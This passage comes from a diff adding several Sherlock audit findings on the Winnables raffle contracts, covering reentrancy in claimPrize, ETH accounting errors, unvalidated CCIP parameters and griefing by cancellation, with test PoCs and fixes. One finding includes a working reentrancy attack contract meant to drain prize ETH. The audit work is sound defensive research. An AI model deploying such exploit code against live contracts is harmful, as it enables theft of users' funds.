RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` diff --git a/001/046.md b/001/046.md new file mode 100644 index 0000000..ab1df74 --- /dev/null +++ b/001/046.md @@ -0,0 +1,50 @@ +Cold Daffodil Bird + +Medium + +# Dos of LockETH function due to underflow in claimPrize() function + +### Summary + +In `WinnablesPrizeManager:claimPrize()` , claims raffle prize for the winner . If the winner call claimPrize() more than once which will cause the _ethlocked to underflow to `( type(uint256).max - 1 )` which is possible through reentrency / external call in ` sendETHPrize()`. which will dos lockETH due to _ethLocked being higher than ethbalance + +### Root Cause + +In ` WinnablesPrizeManager:118 ` causes reentrency inside the function which user can claim more than once +` WinnablesPrizeManager:117` if the _ethLocked claim till its `0 - _ethRaffles[raffleId]` which cause under flow and will dos the lockETH function + +```solidity + if (ethBalance < amount + _ethLocked) revert InvalidPrize(); + +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L118 +### Internal pre-conditions + +1. admin locks 1 ETH +2. admin creates a raffle + +### External pre-conditions + +1. alice needs to be the winner of the ETH raffle. + + + +### Attack Path + +1. assume tickets has been bought and all check passed +2. alice calls getWinner(). +3. alice becomes winner +4. alice 3 times calls claimPrize() with a fallback function inside its contract calling claimPrize(); +5. after calling 3 times the _ethLocked will underflow dosing the lockETH function + +### Impact + +dos of the lockETH function. + +### PoC + +_No response_ + +### Mitigation + +use `safe math ` to protect against interger underflow or overflows and add reentrency gaurd . \ No newline at end of file diff --git a/001/047.md b/001/047.md new file mode 100644 index 0000000..c847cf3 --- /dev/null +++ b/001/047.md @@ -0,0 +1,350 @@ +Itchy Mahogany Turtle + +High + +# Refund Actions Will Inadvertently Lock Contract Owners' ETH + +### Summary + +The variable '_lockedETH,' which is intended to track the quantity of ETH reserved for potential refunds, is only incremented in the 'buyTickets' method but not decremented appropriately in the 'refundPlayers' method after a raffle is canceled and refunds are issued. + +This mismanagement of state leads to a perpetual increase in the reported ETH locked within the contract with every cancellation and refund process, regardless of the actual ETH being returned to participants. Essentially, while the ETH is correctly returned to raffle participants, the contract fails to recognize these disbursements, falsely inflating the balance of locked funds. + +As a result, over time, an increasing amount of ETH—exactly equal to the total ever refunded—is incorrectly considered as locked. + +### Root Cause + +The root cause of the issue within the `WinnablesTicketManager` smart contract stems from an oversight in the state management of the `_lockedETH` variable. This variable is designed to track the amount of ETH that is currently reserved for potential refunds, ensuring that the contract has sufficient liquidity to fulfill refund obligations when necessary. + +When a participant purchases tickets via the `buyTickets` method, the amount of ETH sent with the transaction is added to the `_lockedETH` variable. This process correctly reflects that a portion of the contract’s ETH balance is now potentially refundable if the associated raffle is canceled: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L206 +```solidity +_lockedETH += msg.value; + +``` + +However, when a raffle is canceled and refunds are issued through the `refundPlayers` method, the contract correctly computes and distributes the appropriate refund amounts to participants but fails to update the `_lockedETH` variable to reflect this disbursement. Here is the part of the method where refunds are issued to each player: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L218C9-L227C10 + +```solidity +for (uint256 i = 0; i < players.length; i++) { + ... + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + ... +} + +``` + +Although `amountToSend` is successfully transferred to each player, there is no corresponding decrease in `_lockedETH`. This results in `_lockedETH` maintaining a record of funds as still being locked even after they have been refunded. + +### Internal pre-conditions + +The `WinnablesTicketManager.sol` needs to have more then 1 total raffle. + +### External pre-conditions + +A raffle fails to sell enough tickets in time and should be canceled. + +### Attack Path + +Just the normal action of canceling a raffle. + +### Impact + +Since `_lockedETH` is never reduced following successful refunds, the contract believes more ETH is locked than actually is. These funds are then not available for withdrawal by the contract owner or for allocation to future raffles, even though in reality, these funds should be freely available for use. + +### PoC + +For testing I changed a few small parts of the WinnablesTicketManger.sol file. + +[first ](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L42) +```solidity +uint256 public _lockedETH; // @audit I changed this to public for use in testing +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L190C9-L190C74 + +```solidity +//_checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); + // @audit No signature check during testing. + +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L282C9-L286C11 + +```solidity +// _sendCCIPMessage( @audit I shut down the ccip call for testing + // prizeManager, + // chainSelector, + // abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + // ); + +``` + + +Foundry test file + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.24; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../contracts/WinnablesTicketManager.sol"; +import "../contracts/WinnablesTicket.sol"; +import "../contracts/interfaces/IWinnables.sol"; + + +contract MockIERC20 is IERC20 { + function totalSupply() external view returns (uint256) {} + function balanceOf(address account) external view returns (uint256) {} + function transfer(address recipient, uint256 amount) external returns (bool) {} + function allowance(address owner, address spender) external view returns (uint256) {} + function approve(address spender, uint256 amount) external returns (bool) {} + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {} +} + + +contract MockVRFConsumerBaseV2 is VRFConsumerBaseV2 { + constructor(address coordinator) VRFConsumerBaseV2(coordinator) {} + + // Implementing the abstract function with an empty body for testing + function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {} +} + +contract WinnablesTicketManagerTest is Test, IWinnables { + WinnablesTicketManager winnablesTicketManager; + WinnablesTicket winnablesticket; + address mockLinkToken; + address mockVrfCoordinator; + uint64 subscriptionId = 1; + bytes32 keyHash = "0xabcdef"; + address mockTicketsContract; + address mockCCIPRouter; + + struct Any2EVMMessage { + bytes32 messageId; // MessageId corresponding to ccipSend on source + uint64 sourceChainSelector; // Source chain selector + bytes sender; // abi.decode(sender) if coming from an EVM chain + bytes data; // payload sent in original message + EVMTokenAmount[] tokenAmounts; // Tokens and their amounts at destination + } + + struct RaffleDetails { + uint64 startsAt; + uint64 endsAt; + uint32 minTicketsThreshold; + uint32 maxTicketSupply; + uint32 maxHoldings; + uint256 totalRaised; + RaffleStatus status; + uint256 chainlinkRequestId; + } + + struct EVMTokenAmount { + address token; // token address on local blockchain + uint256 amount; + } + + function setUp() public { + mockLinkToken = address(new MockIERC20()); + mockVrfCoordinator = address(new MockVRFConsumerBaseV2(address(this))); + winnablesticket = new WinnablesTicket(); + mockCCIPRouter = address(this); + + winnablesTicketManager = new WinnablesTicketManager( + mockLinkToken, + mockVrfCoordinator, + subscriptionId, + keyHash, + address(winnablesticket), + mockCCIPRouter + ); + + winnablesticket.setRole(address(winnablesTicketManager), 1, true); + } + + function getAndLogRaffleDetails(uint256 raffleId) internal returns (uint64, uint64, uint32, uint32, uint32, uint256, RaffleStatus, uint256) { + (uint64 startsOut, uint64 endsOut, uint32 minOut, uint32 maxOut, uint32 maxHoldOut, uint256 totalRaisedOut, RaffleStatus statusOut, uint256 chainlinkRequestIdOut) + = winnablesTicketManager.getRaffle(raffleId); + + console.log(""); + console.log("Tickets sold :", winnablesticket.supplyOf(raffleId)); + console.log(""); + console.log("Starts At: %s, Ends At: %s", startsOut, endsOut); + console.log("Min Tickets: %s, Max Tickets: %s, Max Holdings: %s", minOut, maxOut, maxHoldOut); + console.log("Total Raised: %s, Status: %s, Chainlink Request ID: %s", totalRaisedOut, uint(statusOut), chainlinkRequestIdOut); + console.log(""); + + return (startsOut, endsOut, minOut, maxOut, maxHoldOut, totalRaisedOut, statusOut, chainlinkRequestIdOut); + + } + + function logBalanceVsLockedEth() internal { + uint256 contractBalance = address(winnablesTicketManager).balance; + uint256 lockedEth = winnablesTicketManager._lockedETH(); + + console.log("Contract Eth Balance : ", contractBalance); + console.log("Contract _lockedEth : ", lockedEth); + } + + + function testEthBecomesLockedAfterRefund() public { + uint256 raffleId = 1; + uint64 startsAt = 1; + uint64 endsAt = startsAt + 1 days; + uint32 minTickets = 10; + uint32 maxTickets = 100; + uint32 maxHoldings = 5; + + // Simulate the prize being locked via a CCIP message + address senderAddress = address(this); // Simulate sender address + uint64 chainSelector = 1; // Simulate a chain selector, typically the identifier for the chain + address _senderAddress = senderAddress; + bytes memory ccipData = abi.encode(raffleId); + + // Encode and construct the Any2EVMMessage + Client.EVMTokenAmount[] memory emptyTokenAmounts = new Client.EVMTokenAmount[](0); + Client.Any2EVMMessage memory message = Client.Any2EVMMessage({ + messageId: keccak256(abi.encodePacked(block.timestamp)), + sourceChainSelector: chainSelector, + sender: abi.encode(_senderAddress), + data: ccipData, + destTokenAmounts: emptyTokenAmounts + }); + + winnablesTicketManager.setCCIPCounterpart(_senderAddress, chainSelector, true); + + vm.warp(800); + + vm.prank(_senderAddress); // Mock the caller to be the sender or router + + winnablesTicketManager.ccipReceive(message); + + winnablesTicketManager.createRaffle(raffleId, startsAt, endsAt, minTickets, maxTickets, maxHoldings); + + //uint256 timestamp = block.timestamp; + console.log("current timestamp: ", block.timestamp); + + // Check initial raffle state + getAndLogRaffleDetails(raffleId); + + // Warp time to after the raffle start time + vm.warp(startsAt + 1 hours); + + // Assume a pseudo-blockchain state change + vm.roll(block.number + 1); + + // Define users + address[] memory users = new address[](3); + users[0] = address(0x123); + users[1] = address(0x456); + users[2] = address(0x789); + + // Setup balances for the users (assuming the contract is payable and can receive ETH) + for (uint i = 0; i < users.length; ++i) { + vm.deal(users[i], 1 ether); // provide each user with 1 ETH + } + + // Each user buys tickets + for (uint i = 0; i < users.length; ++i) { + vm.prank(users[i]); // execute the following transaction as user[i] + winnablesTicketManager.buyTickets{value: 0.1 ether}(raffleId, 1, block.number + 1000, ""); // Assuming 0.1 ETH per ticket, no need for a signature for now + } + + // Log final states after participation + // for (uint i = 0; i < users.length; ++i) { + // getAndLogParticipationDetails(raffleId, users[i]); + // } + + getAndLogRaffleDetails(raffleId); + + logBalanceVsLockedEth(); + + vm.warp(startsAt + 3 days); + winnablesTicketManager.cancelRaffle(address(10), 1, 1); + + + console.log(""); + console.log("Raffle canceled "); + + getAndLogRaffleDetails(raffleId); + + logBalanceVsLockedEth(); + + // Create a dynamic array with participant addresses + address[] memory participants = new address[](3); + participants[0] = address(0x123); + participants[1] = address(0x456); + participants[2] = address(0x789); + + // Call the refundPlayers function with the raffle ID and the address array + winnablesTicketManager.refundPlayers(1, participants); + + console.log("players refunded"); + + logBalanceVsLockedEth(); +} + + +} + +``` + + +Log + +```solidity +[PASS] testEthBecomesLockedAfterRefund() (gas: 551014) +Logs: + current timestamp: 800 + + Tickets sold : 0 + + Starts At: 1, Ends At: 86401 + Min Tickets: 10, Max Tickets: 100, Max Holdings: 5 + Total Raised: 0, Status: 2, Chainlink Request ID: 0 + + + Tickets sold : 3 + + Starts At: 1, Ends At: 86401 + Min Tickets: 10, Max Tickets: 100, Max Holdings: 5 + Total Raised: 300000000000000000, Status: 2, Chainlink Request ID: 0 + + Contract Eth Balance : 300000000000000000 + Contract _lockedEth : 300000000000000000 + + Raffle canceled + + Tickets sold : 3 + + Starts At: 1, Ends At: 86401 + Min Tickets: 10, Max Tickets: 100, Max Holdings: 5 + Total Raised: 300000000000000000, Status: 7, Chainlink Request ID: 0 + + Contract Eth Balance : 300000000000000000 + Contract _lockedEth : 300000000000000000 + players refunded + Contract Eth Balance : 0 + Contract _lockedEth : 300000000000000000 + +``` + + +### Mitigation + +The most direct way to resolve the issue is to adjust the refundPlayers method to decrement _lockedETH appropriately when refunds are processed. This involves adding a line of code to subtract the refunded amount from _lockedETH within the refund loop: + +```solidity +for (uint256 i = 0; i < players.length; i++) { + ... + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + _lockedETH -= amountToSend; // Decrement the locked ETH count + ... +} + +``` \ No newline at end of file diff --git a/001/048.md b/001/048.md new file mode 100644 index 0000000..b68223f --- /dev/null +++ b/001/048.md @@ -0,0 +1,60 @@ +Mammoth Stone Grasshopper + +High + +# Users will lock assets on the `WinnablesPrizeManager` contract by calling `WinnablesTicketManager::cancelRaffle` with wrong CCIP inputs + +### Summary + +The [`WinnablesTicketManager::cancelRaffle`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278) function is vulnerable to misuse, where incorrect CCIP inputs can lead to assets being permanently locked in the `WinnablesPrizeManager` contract. The function does not have input validation for the `address prizeManager` and `uint64 chainSelector` parameters. If called with incorrect values, it will fail to send the message to `WinnablesPrizeManager`, resulting in the assets not being unlocked. + +### Root Cause + +The root cause of the issue lies in the design of the `cancelRaffle` function: +1. The function is responsible for sending a message to `WinnablesPrizeManager` to unlock the raffle assets. +2. The function is marked as external, so anyone can call it. +3. The function receives `address prizeManager` and `uint64 chainSelector` as inputs, which are responsible for sending the message to the `WinnablesPrizeManager` contract for it to unlock the assets previously locked for the raffle. +4. The inputs forementioned are not validated, meaning users can call the function with wrong values. +5. This cannot be undone, as the function [changes the state of the raffle](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L281) in a way that [prevents the function from being called again](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L437). + +### Internal pre-conditions + +A raffle must be cancelable, i.e. either haven't been initialized or was finished with less than minimum tickets sold. + +### External pre-conditions + +A user must call `WinnablesTicketManager::cancelRaffle` with incorrect input values. + +### Attack Path + +1. A user initiates the cancellation of a raffle by calling `WinnablesTicketManager::cancelRaffle`. +2. The user provides incorrect inputs for `prizeManager` and `chainSelector`. +3. The cancelRaffle function fails to send the correct message to `WinnablesPrizeManager` due to the parameter mismatch. +4. As a result, the assets associated with the raffle remain locked and cannot be retrieved by the admin. + + +### Impact + +This vulnerability can lead to the permanent loss of assets. Users who attempt to cancel a raffle with incorrect parameters may inadvertently lock assets in the `WinnablesPrizeManager`, making them inaccessible. + + +### PoC + +The test below, which is an edited version of [this existing test](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/test/TicketManager.js#L521), shows that the function call will be successful with a random chainSelector + +```javascript + it('Cancels and sends cancellation CCIP Message', async () => { +@> const tx = await manager.cancelRaffle(counterpartContractAddress, 9846, 1); + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(3); + const ccipMessageEvent = ccipRouter.interface.parseLog(events[0]); + expect(ccipMessageEvent.name).to.eq('MockCCIPMessageEvent'); + expect(ccipMessageEvent.args.data).to.eq('0x000000000000000000000000000000000000000000000000000000000000000001'); + }); +``` + +### Mitigation + +Alternatives to mitigate the impact of this vulnerability: +1. Implement input validation to ensure that `prizeManager` and `chainSelector` are correct before proceeding with the cancellation. +2. Split the function in two different functions, one for updating the raffle status (so that players can get the refund) and another one, restricted to `onlyRole(0)`, for sending the message to `WinnablesPrizeManager` diff --git a/001/049.md b/001/049.md new file mode 100644 index 0000000..57a8b21 --- /dev/null +++ b/001/049.md @@ -0,0 +1,81 @@ +Mammoth Stone Grasshopper + +Medium + +# Incorrect implementation of `WinnablesTicketManager::withdrawTokens` makes it impossible to partially withdraw a token + +### Summary + +The `WinnablesTicketManager::withdrawTokens` function is incorrectly implemented, causing it to revert when attempting to withdraw a partial amount of tokens. Instead of allowing partial withdrawals, the function mistakenly disallows any withdrawal if the [amount requested is smaller than the current balance](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L295). This prevents the contract admin from executing partial token withdrawals. + + +### Root Cause + +The root cause of this issue is a logical error in the withdrawTokens function: +1. The function contains a condition that checks whether the withdrawal amount is less than the total balance. +2. Instead of allowing the withdrawal if this condition is true, the function reverts, effectively blocking partial withdrawals. + + +### Internal pre-conditions + +There must be some token balance in the contract. + + +### External pre-conditions + +The contract admin must attempt to withdraw a token amount smaller than the current balance. + + +### Attack Path + +1. The contract admin initiates a withdrawal calling `WinnablesTicketManager::withdrawTokens`. +2. The admin specifies an amount that is less than the total token balance in the contract. +3. The function incorrectly reverts the transaction due to the flawed condition. + + +### Impact + +This bug restricts the admin from performing partial withdrawals, which might be necessary for managing the tokens balances. This can lead to inefficiencies when it is necessary to maintain token balance in the contract, such as LINK. + + +### PoC + +The test below, which can be added to the hardhat test suite, shows that the function call will revert with `InsufficientBalance` even though there was enough balance + +```javascript + describe('Link withdrawal reversal', () => { + before(async () => { + snapshot = await helpers.takeSnapshot(); + }); + + after(async () => { + await snapshot.restore(); + }); + const buyers = []; + + + it('Will revert withdrawal of less than the full balance of LINK', async () => { + await (await link.mint(manager.address, ethers.utils.parseEther('100'))).wait(); + const balance = await link.balanceOf(manager.address); + const halfBalance = balance.div(2); // Withdraw half of the balance + await expect(manager.withdrawTokens(link.address, halfBalance)).to.be.revertedWithCustomError( + manager, + 'InsufficientBalance' + ); + }); + }); +``` + +### Mitigation + +Correct the function logic: + +```Diff + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); ++ if (amount > balance) revert InsufficientBalance(); +- if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` diff --git a/001/050.md b/001/050.md new file mode 100644 index 0000000..590dcf5 --- /dev/null +++ b/001/050.md @@ -0,0 +1,64 @@ +Mammoth Stone Grasshopper + +High + +# Users will lock raffle prizes on the `WinnablesPrizeManager` contract by calling `WinnablesTicketManager::propagateRaffleWinner` with wrong CCIP inputs + +### Summary + +The [`WinnablesTicketManager::propagateRaffleWinner`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334) function is vulnerable to misuse, where incorrect CCIP inputs can lead to assets being permanently locked in the `WinnablesPrizeManager` contract. The function does not have input validation for the `address prizeManager` and `uint64 chainSelector` parameters. If called with incorrect values, it will fail to send the message to `WinnablesPrizeManager`, resulting in the assets not being unlocked. + + +### Root Cause + +The root cause of the issue lies in the design of the `propagateRaffleWinner` function: +1. The function is responsible for sending a message to WinnablesPrizeManager to unlock the raffle assets. +2. The function is marked as external, so anyone can call it. +3. The function receives `address prizeManager` and `uint64 chainSelector` as inputs, which are responsible for sending the message to the `WinnablesPrizeManager` contract for it to unlock the assets previously locked for the raffle. +4. The inputs forementioned are not validated, meaning users can call the function with wrong values. +5. This cannot be undone, as the function [changes the state of the raffle](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L337) in a way that [prevents the function from being called again](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L336). + + +### Internal pre-conditions + +A raffle must have been won by a player. + + +### External pre-conditions + +A user must call `WinnablesTicketManager::propagateRaffleWinner` with incorrect input values. + + +### Attack Path + +1. A user wins the raffle. +2. Some user calls `WinnablesTicketManager::propagateRaffleWinner` and provides incorrect inputs for prizeManager and chainSelector. +3. The propagateRaffleWinner function fails to send the correct message to WinnablesPrizeManager due to the parameter mismatch. +4. As a result, the assets associated with the raffle remain locked and cannot be retrieved by the raffle winner. + + +### Impact + +This vulnerability completely disrupts the protocol, as it becomes impossible to retrieve the reward of the raffle. + + +### PoC + +The test below, which is an edited version of [this existing test](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/test/TicketManager.js#L786), shows that the function call will be successful with a random chainSelector + +```javascript + it('Should be able to propagate when the winner is drawn', async () => { +@> const { events } = await (await manager.propagateRaffleWinner(counterpartContractAddress, 9846, 1)).wait(); + expect(events).to.have.lengthOf(3); + const ccipEvent = ccipRouter.interface.parseLog(events[0]); + expect(ccipEvent.args.receiver).to.eq('0x' + counterpartContractAddress.toLowerCase().slice(-40).padStart(64, '0')); + expect(ccipEvent.args.data).to.have.lengthOf(108); + const drawnWinner = ethers.utils.getAddress('0x' + ccipEvent.args.data.slice(-40)); + expect(buyers.find(b => b.address === drawnWinner)).to.not.be.undefined; + expect(ccipEvent.args.data.slice(0, 68)).to.eq('0x010000000000000000000000000000000000000000000000000000000000000001'); + }); +``` + +### Mitigation + +Implement input validation to ensure that `prizeManager` and `chainSelector` are correct before proceeding with the propagation. diff --git a/001/051.md b/001/051.md new file mode 100644 index 0000000..9b88255 --- /dev/null +++ b/001/051.md @@ -0,0 +1,86 @@ +Blunt Mulberry Wombat + +High + +# Malicious users can exploit raffle cancellation to disrupt protocol functionality + +## Summary +Malicious users can exploit the `cancelRaffle` function to repeatedly cancel raffles, preventing new raffles from being created and disrupting ticket sales. This makes the protocol unusable by forcing admins to constantly lock new prizes and create new raffles. + +## Vulnerability Detail +The `WinnablesTicketManager::cancelRaffle` function is designed to allow the cancellation of raffles under specific pre-conditions: +1. The raffle is not yet created, and its status is `PRIZE_LOCKED`, enabling admins to cancel raffles and unlock the prize in `WinnablesPrizeManager` in cases of misconfigured prizes. +2. The raffle period has ended, and the minimum ticket threshold has not been reached, allowing for refunds to users who purchased tickets. +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); +} +``` +However, malicious users can repeatedly cancel raffles through `WinnablesTicketManager::cancelRaffle` by exploiting the first pre-condition. Specifically, after the `ccipReceive` function triggers and the prize is locked, the cancellation check passes, allowing the raffle to be canceled: +```solidity +function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { +>>> _checkShouldCancel(raffleId); + _raffles[raffleId].status = RaffleStatus.CANCELED; + // ... +} + +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +>>> if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + // ... +} +``` +When a raffle is canceled, it cannot be created: +```solidity +function createRaffle( + uint256 raffleId, + uint64 startsAt, + uint64 endsAt, + uint32 minTickets, + uint32 maxTickets, + uint32 maxHoldings +) external onlyRole(0) { + _checkRaffleTimings(startsAt, endsAt); + if (maxTickets == 0) revert RaffleRequiresTicketSupplyCap(); + if (maxHoldings == 0) revert RaffleRequiresMaxHoldings(); + Raffle storage raffle = _raffles[raffleId]; +>>> if (raffle.status != RaffleStatus.PRIZE_LOCKED) revert PrizeNotLocked(); + + // ... +} +``` +As a result, admins are forced to lock new prizes in `WinnablePrizeManager` to create new raffles, but malicious users can continue to cancel these raffles immediately in `WinnablesTicketManagers` after the prize is locked, disrupting the protocol's functionality. + +## Impact +Malicious users can repeatedly cancel raffles, preventing the creation of new raffles, stopping users from purchasing tickets, and forcing administrators to constantly create new raffles. This behavior renders the protocol unusable. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L434-L436 + +## Tool used + +Manual Review + +## Recommendation +Consider restricting the ability to cancel raffles when the status is `PRIZE_LOCKED` to admins only. Below is a suggested update to the `_checkShouldCancel` function: +```diff +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) { ++ _checkRole(msg.sender, 0); + }; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); +} +``` \ No newline at end of file diff --git a/001/052.md b/001/052.md new file mode 100644 index 0000000..4c29752 --- /dev/null +++ b/001/052.md @@ -0,0 +1,124 @@ +Spare Opaque Cottonmouth + +High + +# Reentrancy attack in `claimPrize()` + +## Summary +Reentrancy attack in `claimPrize()` when prize reward is ether +## Vulnerability Detail +After diving into the `WinnablesPrizeManager` contract in `WinnablesPrizeManager.sol` we can see the function `claimPrize`: +```solidity + /// @notice (Public) Send the prize for a Raffle to its rightful winner + /// @param raffleId ID of the raffle + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); // @audit-issue + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; // @todo + emit PrizeClaimed(raffleId, msg.sender); + } +``` +There are `if` statements which check what is the value of `raffleType` in order to know what kind of reward is set to the specific raffle and send the prize to its rightful winner. At the top of the smart contract, where the static variables are declared, we see the `_ethLocked` variable. After clarifying and communicating with a sponsor, we understand that this variable stores the total value of ether that is in the contract balance. In otherwords, `_ethLocked` is a sum of all the ether set for prize rewards of the available raffles. The smart contract balance is NOT limited to the prize reward of only one specific raffle that has ether for reward prize, but all others. In order to send the prize reward in `ETH` to the winner the `claimPrize` function uses an internal function `_sendETHPrize()`.: +```solidity + /// @dev Transfers the NFT prize to the winner + /// @param amount Amount of ETH to send + /// @param winner Address of the winner + function _sendETHPrize(uint256 amount, address winner) internal { + (bool success, ) = winner.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` +There is no `nonReentrant` modifier from OpenZeppelin's `ReentrancyGuard` or any other protection from reentrancy attack. Why a reentrancy attack is possible and efficient in this case? Because the status of the raffle is updated to `RafflePrizeStatus.CLAIMED` after the use of `_sendETHPrize()`. Thus, if the winner is a malicious contract which exploits the reentrancy vulnerability, it can claim not just the prize reward - `_ethRaffles[raffleId]` but all the total ether in the contract. +## Impact +A malicious winner of a raffle with ether prize reward can drain all the available ether in the contract +## Proof of Concept +1. Alice who is an admin creates a new raffle with prize reward of `1 ETH`. There are many others raffles with different IDs also with `ETH` prize reward so we assume `_ethLocked` = `5 ETH` or total `5 ETH` locked in prize rewards for all the raffles in the contract. +2. Bob, who is aware of the reentrancy bug in the contract, as soon as he sees a new raffle with an ETH reward, signs up by buying as many tickets as he can from addresses of his malicious contracts exploiting the reentrancy vulnerability. An example contract that exploits the bug: +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.0; + +interface IPrizeManager { + function claimPrize(uint256 raffleId) external; +} + +contract ReentrantClaimer { + bool private _done; + uint256 private _raffleId; + address private _prizeManager; + + function doubleClaim(address prizeManager, uint256 raffleId) external { + _raffleId = raffleId; + _prizeManager = prizeManager; + IPrizeManager(prizeManager).claimPrize(raffleId); + } + + fallback() external payable { + if (_done) { + _done = false; + _raffleId = 0; + _prizeManager = address(0); + return; + } + _done = true; + IPrizeManager(_prizeManager).claimPrize(_raffleId); + } + + receive() external payable { + if (_done) { + _done = false; + _raffleId = 0; + _prizeManager = address(0); + return; + } + _done = true; + IPrizeManager(_prizeManager).claimPrize(_raffleId); + } +} +``` +3. Bob wins the raffle after some period of time when all the tickets has been sold and when he calls `claimPrize` successfully drains all available `5 ETH` in the contract. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L118 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L311-L317 +## Tool used +Manual Review +## Recommendation +The order of changing the raffle status to `RafflePrizeStatus.CLAIMED` should be changed: +```solidity + /// @notice (Public) Send the prize for a Raffle to its rightful winner + /// @param raffleId ID of the raffle + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); // @note should be here! + rafflePrize.status = RafflePrizeStatus.CLAIMED; // @note should be here! + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { 